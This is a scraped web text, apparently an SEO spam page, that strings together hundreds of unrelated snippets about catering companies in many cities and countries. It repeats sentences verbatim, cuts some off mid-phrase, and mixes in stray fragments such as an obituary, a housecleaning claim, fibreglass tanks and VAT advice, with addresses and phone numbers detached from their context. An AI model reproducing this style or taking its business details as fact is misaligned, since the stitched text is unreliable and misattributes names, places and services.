Call. Whether it's wedding catering, event catering, or catering for a unique party, Rochelle Myers Catering will bring you the best food in the region. STERLINGSPOON. Veg Caterers in Pune - Book the best vegetarian food catering services in Pune for indoor, outdoor wedding functions, party, special occasions, corporate events with affordable price and get veg food menus, catering cost per plate, number of guests serve, ratings and reviews. Simply tell us what you have in mind for your next occasion, and our event services staff will help you execute a flawless affair. Simply tell us what you have in mind for your next occasion, and our event services staff will help you execute a flawless affair. Toggle navigation. Kenai Catering is a full service caterer providing fresh flavorful cuisine and professional service. A full complement of bar staff is also available for your event. My family and friends we blown away. Mixed lettuce, green pepper, tomato wedges, red onion, cucumbers, Kalamata olives, pepperoncini. Whether your event is a backyard BBQ, wedding reception, shower, graduation, holiday party or a black tie affair, Crank's has you covered. One example of the menu items they cater is the Meat & Cheese Tray that starts at $24. Our professional housecleaners know where rhinoviruses and other infectious bacteria most commonly reside in homes. With locations in Burleson, Watagua and Highland Village, we are capable of serving virtually all of the Dallas / Fort Worth Metroplex. Peacock Indian Restaurants offer professional catering services and is always ready to serve your special events, whether it's a wedding reception, birthday party, corporate event, or any other special occasions. A directory of 1 caterers and catering services in Lorton, Virginia. Elements catering offers great food at the best possible price. No matter the size or elaborateness of your event, Soprano’s strives to ensure excellence in everything they do. Shirley Catering is very flexible, and willing to work with you to provide the highest quality foods and specialized event planning services available. Average costs and comments from CostHelper's team of professional journalists and community of users. Our experienced catering experts are ready to help you with all your catering needs!. Mixed lettuce, green pepper, tomato wedges, red onion, cucumbers, Kalamata olives, pepperoncini. Consider Ike's for your next Banquet. Capital City Catering offers Sacramento, CA area wedding catering services that are second to none in the Sacramento area. Choose from American Express, VISA, Amazon. Fresh Catering covering Central Scotland. Our on-site catering is just another way we extend our services to accommodate you and your event. , Food, Luxury Food, 01003582150. Exquisite food, impeccable service and unparalleled attention to detail combine to ensure that your vision will be creatively translated and meticulously executed. Chantal Catering, Maadi, Cairo, Original, international, fusion food for dinner & party. Let Boston Market Catering deliver hot & delicious food to your next office event or personal gathering. Celebrations Catering. We offer a huge range of catering equipment to suit all sizes of catering business at the web's most competitive rates. Pick up your order or have us deliver. Menus and Catering. They create fresh, familiar and delicious meals with recipes that have been used for generations. formerly Sterling Caterers, has been family owned and operated since 1979, serving the Maryland and Washington, DC areas. Catering costs and services vary according to your menu selections and the number of guests. When they invented catering, no one could have hoped it would come to this - outrageously delicious burgers with stackable fresh toppings that turn your event into a burger building extravaganza. If you do not see your store in the drop-down list, it does not have a Catering Department. Sterling Event Services, located in Dothan Alabama, provides full-service catering, party planning and event management services for corporate entertaining, galas and fundraisers, social events, weddings, receptions and business breakfast/luncheons. Wiregrass Rehabilitation Center, Inc. Whether it's wedding catering, event catering, or catering for a unique party, Rochelle Myers Catering will bring you the best food in the region. * Order Catering Now. A Touch of Class Catering. Boston Market catering can be ordered online and delivered the same day -- affordable restaurant, catering services, family meals, chicken dinner, value menu, take out restaurant. Orders are available for pickup or delivery. Call Us Today at (320) 259-6455 for more information about our catering menu!. See who you know at Rupa Vira's Catering Services, leverage your professional network, and get hired. Enjoy some of the best homemade Italian Food in southeastern Michigan with Zio’s Catering. Tony's is conveniently located on the corner of 12th & J Streets, in the historic Masonic Temple building, in the heart of downtown Sacramento. A directory of 1 caterers and catering services in Sterling, Colorado. 43720 Trade Center Place, Suite 120, Dulles, VA 20166. Banquet and Catering Menu Enjoy the delightful flavors of Larkspur at your next large event, private party, banquet, wedding or wedding reception, business meeting or conference at our private banquet room or If you have another location that you prefer, we’ll bring the catering to you. Drivers can take advantage of the parking lot near Taza Restaurant and save time on hunting for a parking spot. Catering Services We are a one stop shop for your party! We have teamed up with Delectabowl Food Truck & Catering to offer you a true start to finish experience. Elegant Presentation We offer full buffet catering for weddings, cocktail parties, office meetings, in-house dinners, and drop off events. Directions. Sterling United Limited supplies dairy and cheese products to the food service industry. Let The Omelette Man serve your next event. Please call us today to learn more!. Exc Over 10,000 catering products available online × new_releasesSpecial Offers Customer Services. Sterling United Limited has the experience and capabilities to help your business order the dairy products you need. Our Manager, William R. Tony's is conveniently located on the corner of 12th & J Streets, in the historic Masonic Temple building, in the heart of downtown Sacramento. Recent review: "Alice was fantastic; We hired her catering services for our annual photo-shoot with Colin Montgomerie for our website and magazine and she offered an extensive range of food for us to choose our menu from and was easy to communicate details with. At Green Mill Catering, we are ready to help you with any event. Visit your local Panera Bread at 268 John R Road in Troy, MI to find soup, salad, bakery, pastries, coffee near you. Furthermore, Tasty Catering has an established background of success that is remarkable. Fine cheeses, sliced meat and ready made items in the deli department. Services Offered. Whether you need lunch for a few in the office or several thousand at your next corporate event, Apple Spice is ready with the perfect menu. No matter what the celebration is, we customize each package to fit your unique style. Whether planning a simple breakfast or an upscale executive luncheon, you will find all of our most. The Omelette Man has been providing breakfast catering, brunch catering, and evening pasta catering for over 50 years. Built on delectable cuisine, attention to detail, and a professional staff, our reputation is well known throughout the tri-county area and has earned us the distinct honor of “Best Banquet Center in Southeast Oakland County”. Perfect for business events, graduations, meetings, weddings, parties, and neighborhood get-togethers. Thank you so much for catering our special day. Moe's Catering Our Catering Comes With Everything. Sterling Catering Services is one of the most successful restaurant operators in the State of Qatar. Have a big event coming up, such as a wedding, birthday party, school event or baby shower? Applebee’s offer catering in Sterling for any gathering over 6, 10, 20, 30, or even 100 people, with party platters that include sandwiches, salads, pasta, and party wings (boneless or traditional wings). These represent only a starting point, however. It's important to us to source ingredients, like our rich Pomodorina sauce, from small Italian farms to create better tasting food for you - and your guests. Cloud Civic Center Our professional staff will work with you from concept through execution to create a wonderful event that everyone will be talking about. Inquire about how we can customize your catering to create a memorable dining experience on your wedding day! View Taste’s Catering Menu. bd’s Catering Available: (Please contact the location directly and speak with the General Manager). Catering Services Boxed Lunches. Based in Sterling, Virginia, From Tuscany With Love is a catering company dedicated to making your event more memorable for you and your guests. Established in 1977 under the leadership of Mr. Browse 26 Trusted Catering Services in Sterling, VA on ChamberofCommerce. The Carnegie Endowment for International Peace’s conference center offers a comprehensive array of support services. $10 off Buffalo Wing Factory Coupons and online discounts in Sterling. The company offers airline catering, in-flight logistics and equipment management services. Make your next family reunion or office party truly unforgettable with catering service from Meaza’s Ethiopian Restaurant of Falls Church, Virginia. Bride's Choice Award winning caterers. Your special catering occasion deserves the attention to detail that Tasty Catering has perfected. Looking for something a bit different? Our chefs are experts at customizing menu offerings. Welcome to Dominic's Catering, celebrating 20 years of experience in food excellence! For the very best in quality and taste, call us first. We are pleased to introduce ourselves as One Stop Catering Provider who is ready and able to provide the best catering services with tasty and hygienic food at affordable price. Slater's Bolton Catering Services - corporate events, business lunch meetings, graduations, birthdays parties, anniversaries in MetroWest & Central MA. Kosch Catering is a well known Metro Detroit catering company with preferred vendor status at SE Michigan's favorite party venues. Sterling Catering can be found at 29303 Southfield Rd. Sterling prepares and caters exceptional food based on our desire and intention to treat you the way you want to be treated. Maison Culinaire only uses quality fresh ingredients, working with local farmers who provide our kitchen with organic produce, cheeses, and other product and prepare those using sound culinary techniques and our creative touches. Planning on serving your guests with the most delicious food at the upcoming wedding in Pune? UrbanClap has heard your wish! UrbanClap offers you the services of the top wedding caterers in Pune who provide you with the best catering services in Pune. Sir Loin Catering is the premiere event catering company in New England, offering fresh, on-site cooked, meals for events both small and large. Specializing in bringing hot delicious food directly to you or host an event at one of our several beautiful venues. Sterling Mays Lankford age 94, of Hendersonville, TN, passed away on Sunday, February 3, 2019. 3) Fax: 703-661-1464. Explore the best group transportation options for your meeting, convention or event in Washington, DC. Based in Sterling, Virginia, From Tuscany With Love is a catering company dedicated to making your event more memorable for you and your guests. Built on delectable cuisine, attention to detail, and a professional staff, our reputation is well known throughout the tri-county area and has earned us the distinct honor of “Best Banquet Center in Southeast Oakland County”. Bride's Choice Award winning caterers. Our bar selections combine value with beverage quality expected by today’s discerning event attendees. Whether your event is a backyard BBQ, wedding reception, shower, graduation, holiday party or a black tie affair, Crank's has you. You can earn points toward a Zoup! gift certificate every time you place a catering order. 00 “off list” fee and will be required to meet our standard business compliance guidelines. Paul MN take care of all the details. Plated or buffet style, Sterling Catering offers food to complement and exceed the expectations of any event. Dine-in, pickup, and delivery. Please call us today to learn more!. As a professional caterer, LC Catering provides top notch Total Package service and culinary excellence at thousands of weddings, corporate events and special occasions. See up-to-date pricelists and view recent announcements for this location. com, your. The company offers airline catering, in-flight logistics and equipment management services. Howard Crane (Fox Theatre). Welcome to Southampton Caterers, providers of first class catering for all events in the Southampton area. Join LinkedIn today for free. Seawolf Dining & Catering is committed to making your event a success. We hope that you come and dine with us, whether at the Dunedin Fine Art Center or at your own off-site event. Whether you need corporate catering, corporate dining, self-checkout employee markets, vending machines, cafeteria management or experienced consultants to help you decide, Sterling Services is here to help with complete foodservice solutions. Whether it's wedding catering, event catering, or catering for a unique party, Rochelle Myers Catering will bring you the best food in the region. Catering services available. Fireside’s sterling reputation for quality off-premise catering has earned us a host of residential and corporate customers in our local neighborhoods of East Northport, Commack, Hauppauge, Dix Hills and Melville. Cloud MN Meeting Facility. Our delectable food, first class presentation and careful attention to our product and the needs. Visit our website today to browse our menu and see what we can offer. Unitop Catering Services Limited - an Offshore / Onshore Catering & Support Services - Corporate Catering, chandling services- Nigeria. SSCM's catering services also include formal catered events, casual meetings. Best BBQ Catering Vancouver, BC BBQ is listed as one of the fastest growing sectors of catering in Canada today and our weather here in spring and summer certainly promotes outdoor activities and gatherings of all types to be enjoyed "al fresco". Default Message. BAR AND CATERING SERVICES. Provide your email address when ordering online or by phone. See below for different options, or contact us today to determine which catering option is best for you. It can accommodate 16 people or fewer and includes space for perimeter seating, basic audiovisual presentations, such as videoconferencing, and space for catering services. We are just two blocks from the California State Capitol, one block from the Sacramento Convention Center and the Cathedral of the Blessed Sacrament, and within walking distance from the Golden One Center, the courthouse and downtown. Catering Services in Sterling Heights; Yellow Pages. Visit your local Chipotle Mexican Grill restaurants at 21031 Tripleseven Rd in Sterling, VA to enjoy responsibly sourced and freshly prepared burritos, burrito bowls, salads, and tacos. Zesty Gourmet is a full service catering company servicing the Washington, DC metropolitan area. From weddings and grooms dinners to corporate events and social gatherings, Sterling Catering will make your event. Welcome to L&J’s Cormier Catering, Inc. is committed to offering exceptional customer service and the finest homemade food in the catering business. Lobby & Details; 2. Orders are available for pickup or delivery. Catering Services Sterling, VA in Opendi Sterling, VA: A total of 100 listings and reviews for the following category: Catering Services Sterling, VA. We are a catering company based in Stirling and can provide individuals or businesses with a range of stylish, friendly and professional catering services. com will satisfy your local search needs. - The public gets a first taste of the specialty dishes created by Sterling Catering Services restaurants. Calculate the amount of VAT due and include. Wedding Days. For the last several years we have provided reception services to a local church for their conferences and anniversary services. With a ton of warm, fresh and flavorful ingredients along with free chips and salsa, everyone can get exactly what they're. Catering & Event Planning for Every Occasion Whether it's a historic mansion gazing out to the ocean, a rustic farm with a post and beam barn overlooking the picturesque hills of New England, a seaside clam bake on the …. For private, corporate and wedding events large or small. This Website Requires Cookies Our website requires cookies so we can keep track of items you add to your cart and sign in details. 00 for a small. These caterers are a cut above the rest when it comes to event catering, and we know you will love using them at Watson Block event venue. Whether it is a BBQ in NJ, or a wedding in Atlantic City, if you are truly looking for something special and a catering service that you can trust your special occasion to, you have found the right place. 3) Fax: 703-661-1464. corporate catering holiday party catering baby & bridal showers graduations weddings funeral catering picnics & bbqs birthdays and anniversary cocktail reception happy hour reception catering cupcake extravaganza ice cream social inquire about event. Our hotel in Sterling, VA is 10 minutes from Washington Dulles International Airport. If you are planning an important event that needs catering, Sterling, Illinois caterers are perfect for the job! One of the most important and memorable aspects of any event is the food. Amphora catering is a part of the family run business Amphora group. Catering Service. From weddings and grooms dinners to corporate events and social gatherings, Sterling Catering will make your event. We are known for our high quality service, innovative chefs, inspiring food, and impeccable presentation. We are committed to quality in all we do, whether inventing delicious menus or giving an employee a chance to develop an exciting career. Many catering companies may make these promises, but we’re the only ones to back it up with reviews from our thrilled catering clients. Sterling Events and Catering is an Arlington-based wedding planner that has served Dallas, Texas for more than 19 years. Known as one of the premier off-premise catering businesses in the Dothan area, Sterling Event Services has an established reputation for exceptional food, creativity and presentation combined with outstanding service. We provide dining services to local, regional, and national companies within the Business and Industry markets, including employee dining centers, on-site catering, vending, executive dining rooms and other managed services. Extraordinary events begin with Sterling Catering Events. Sterling Banquet Halls are proud to call itself one of Houston's most elegant yet affordable Event Facilities. The Tiki Terrace catering. We are pleased to host your special event at The Pointe at Lake Gaston, as well as provide catering for local-area events to off-site locations. Buffet Style. Whether you need corporate catering, corporate dining, self-checkout employee markets, vending machines, cafeteria management or experienced consultants to help you decide, Sterling Services is here to help with complete foodservice solutions. List of Caterers, Caterers in , Pune, Location, photos, best deals, Popular, verified, Reviews, Contact, Phone Number and maps Location – Party karo. This Website Requires Cookies Our website requires cookies so we can keep track of items you add to your cart and sign in details. The creative team at Source Food are experts in event catering for any occasion. Veg Caterers in Pune - Book the best vegetarian food catering services in Pune for indoor, outdoor wedding functions, party, special occasions, corporate events with affordable price and get veg food menus, catering cost per plate, number of guests serve, ratings and reviews. The Hot Dog & Burger Company puts a gourmet twist to traditional favorites. The prices at Costco catering are reasonable enough for the host to be able to come up with elegant food choices in any party or event. This Website Requires Cookies Our website requires cookies so we can keep track of items you add to your cart and sign in details. has been crafting high-quality, customized experiences for parties of all sizes, set against the beautiful backdrop of one of North America’s most historically significant towns. Tastefully inspired, A Southern New England catering company specializing in weddings, corporate events and special occasions. They exceeded our expectations and impressed our guests!. " Harry Murray MBE, CHAIRMAN, Lucknam Park. After decades in ruin, the Garden Theater underwent a multi-million restoration and reopened October 2013. Established in 1977 under the leadership of Mr. LSG Sky Chefs provides customized, in-flight services for airline companies worldwide. A small, flexible catering firm. The cost of wedding catering will reflect the level of service, the menu you choose, the luxury you desire and the number of guests you invite. We offer breakfast trays, coffee and snack or dessert platters, lunch items, and even barbecue. com for a complete list of preferred vendors in Michigan!. We offer a comprehensive range of products and can also offer design and supply services. These represent only a starting point, however. Make sure you hire a terrific Sterling caterer to serve up a delicious meal to your guests. WRC currently serves a 12 county area in Southeast Alabama, 19 counties in Southwest Georgia and 19 counties in the panhandle of Florida. $100 minimum order required for delivery. Please refer to this Policy for more information on how we use cookies and how we manage them. Rupa Vira's Catering Services specializes in Punjabi, Gujarati, South Indian, Indo-Chinese and Bombay Style food. Sir Loin Catering services special events such as weddings, corporate retreats, pig roasts & BBQ’s and more!. Natale's Pizzeria was established in 1980 and for the past 36 years has been privileged to serve Waldwick and the surrounding communities. Catering services are the responsibility of the requestor and should be arranged according to University catering policy. If you plan to celebrate it, Coborn's Catering Services can cater it! From birthdays, anniversaries, baptisms, family reunions, first communions, bar/bat mitzvahs, Quinceañera, class reunions, baby showers or just because, Coborn's Catering is your ticket to party planning success. Take VA-606 West Exit 8 toward Rt. Extraordinary events begin with Sterling Catering Events. Our current line-up of catering and event professionals have a combined work experience of over 150 years in the hospitality business. Thompson Hospitality is a minority-owned Food Service provider, and one of the largest Retail Food and Facilities Management companies in the country. Offering vending and catering services in Clinton, Ionia and Eaton counties. We chose 3 options of pastries, salads and cakes. Catering Services in Sterling on YP. Whether you need corporate catering, corporate dining, self-checkout employee markets, vending machines, cafeteria management or experienced consultants to help you decide, Sterling Services is here to help with complete foodservice solutions. If you are planning an important event that needs catering, Sterling, Illinois caterers are perfect for the job! One of the most important and memorable aspects of any event is the food. With more than five years of experience, New Yorker Pizza is proud to serve freshly made dishes from authentic Italian recipes. Wildflour offers diverse and healthy menu options while remaining affordable. With our sandwiches or boxed lunches to our full-service or delivery buffet, Dickey's catering services offer affordable prices for any party or celebration. Skip to Main Content. Whether you are planning a party for ten or a hundred, you can be sure that Costco deli platters will serve you and your guests perfectly. Catering Services in Sterling on YP. The company first manufactures hygienic water tanks for Doha s residents. You will need to book caterers and bartenders separately than the waitstaff. Thank you so much for catering our special day. Sterling prepares and caters exceptional food based on our desire and intention to treat you the way you want to be treated. Paul We Have Everything You Could Want! The Sterling Catering & Events menu is thoughtfully created to give your event a distinct flavor of its own. Have a big event coming up, such as a wedding, birthday party, school event or baby shower? Applebee’s offer catering in Sterling for any gathering over 6, 10, 20, 30, or even 100 people, with party platters that include sandwiches, salads, pasta, and party wings (boneless or traditional wings). We chose 3 options of pastries, salads and cakes. Listing of Baltimore wedding caterers for your wedding receptions. Sterling Catering & Events is prepared to attend to every detail of your event, no matter how grand or intimate. Welcome to L&J’s Cormier Catering, Inc. Lunch, Dinner, Take Out, Catering and more! Call us at 805-581-9076. We are a full-service caterer dedicated to providing exemplary food and the highest level of service for any occasion - large or small. We at Amit Dua Cuisines believes in creating memorable events and take privilege in catering your special event with our sterling concepts, delectable cuisines, experienced staff, remarkable services and awe-inspiring presentation. Sterling Heights, MI Celebrate Life with Red Hot and Blue's premier catering services for events from formal weddings and large banquets to birthday or graduation gatherings, corporate meetings and presentations, retirement parties and family reunions. We understand the challenges you face every day, trying to fit catering costs into a limited budget for student meetings, community organizations and informal meetings. We prefer 24-hour notice for catering orders - but if you call, we'll do what we can to make it happen. 45025 Aviation Dr, Ste 1308 · (703) 987-9588. They create fresh, familiar and delicious meals with recipes that have been used for generations. Roy's people skills are widely respected and have been strongly evident in Sterling Bridge's development. Boxed lunches include every essential item for a delicious, fresh-made meal from Lee’s. Tasty Catering has been able to create a winning culture from the bottom up. - Almuftah Fibreglass Products starts operations. Visit us today!. Welcome to Sterling Caravan. is committed to offering exceptional customer service and the finest homemade food in the catering business. com, your. List of Caterers, Caterers in , Pune, Location, photos, best deals, Popular, verified, Reviews, Contact, Phone Number and maps Location – Party karo. Get contact details, videos, photos, opening times and map directions. We offer a wide range ofevent catering services in Singapore for special occasions including corporate bonding, seminars and signing events. The menu was well thought out. Please call us today to learn more!. Be the first to know about monthly specials and events. Description. Learn more about Sterling Caterers and Restaurants LLC , Opens a popup Specialties The Sterling Caterers specializes in on site catering of Weddings, Bar & Bat Mitzvahs, Sweet 16's, Corporate Events, Holiday Parties, Christenings, Communions and more. From weddings to corporate events, we are ready to cater your next event. com will satisfy your local search needs. Marchiori brings three generations of banquet and catering expertise to every event. Whether you're a Pan Asian or Tex-Mex aficionado, a Cajun or upscale-American fare enthusiast, or you simply want food reminiscent of the family recipes you grew up on, we'll work with you to create a custom menu that helps express the flavors you love. and Maryland area airports. Sir Loin Catering services special events such as weddings, corporate retreats, pig roasts & BBQ's and more!. Slater's Bolton Catering Services - corporate events, business lunch meetings, graduations, birthdays parties, anniversaries in MetroWest & Central MA. Paul MN take care of all the details. » Dining on Campus; com site to learn more about campus dining services. Staffing Please Note: Menu pricing does not include service staff. If you're in the Belleville area, or surrounding counties such as: Hastings County, Prince Edward County or the Bay of Quinte Region, please keep Barn and Country Catering and Mobile BBQ at the top of the list for local catering services. Make sure you hire a terrific Sterling caterer to serve up a delicious meal to your guests. Our catering services can accommodate any size, theme, or individual requirements, in virtually any location - on or off campus. A dedicated courtesy lounge where guests and family can socialize and enjoy refreshments. Posting of job request, CV's, Sales or promotional offers here will be liable for a fine of QRS 5000/-. sterling catering services in qatar doha. Seawolf Dining & Catering is committed to making your event a success. Please call us today to learn more!. Get Free, Instant Help - Call. Sir Loin Catering is the premiere event catering company in New England, offering fresh, on-site cooked, meals for events both small and large. Lankford was born in Fairview, TN, on July 1, 1924, the son of the late Griffy Lankford and Dora Adcock Lankford. RED ROBIN CATERING. Our Sterling team creates distinctive culinary experiences crafted from scratch by bringing together the freshest and highest quality ingredients…with a measure of LOVE. Preparing for events whether small or big can be stressful but we can help ease your catering needs. Let The Omelette Man serve your next event. Trained in a real New York pizzeria, our chefs bring you authentic pizza and Italian food. We are proud to be one of Houston's most elegant, affordable and full-service banquet facilities. Welcome to Basketcase Cafe’ Please be our guest for casual, contemporary dining in Dothan. When contacting a waitstaff business, be sure to inquire about any additional services that they may provide. Abhi Caterers is one of the leading catering company providing wedding catering services. Catering Services in Sterling on YP. Let The Omelette Man serve your next event. John Mathew K. sirloin served with a green peppercorn demi. In addition to our restaurant location and catering service, we also operate a large gourmet grocery store so that you can take a little bit of us home with you. Our innovative Fresh at Work Markets & Cafes bring delicious food and remarkable service to the workplace. If you are planning an important event that needs catering, Sterling, Illinois caterers are perfect for the job! One of the most important and memorable aspects of any event is the food. Catering Service. Since 1991, Sterling Event Planners of Williamsburg, Inc. Full-Service Event Catering. Find business, government and residential phone numbers, addresses & more on the White Pages®. All of our Halls are full-service accommodations that can be customized for your next event. For event catering, food for friends or just yourself, Chipotle offers personalized online ordering and catering.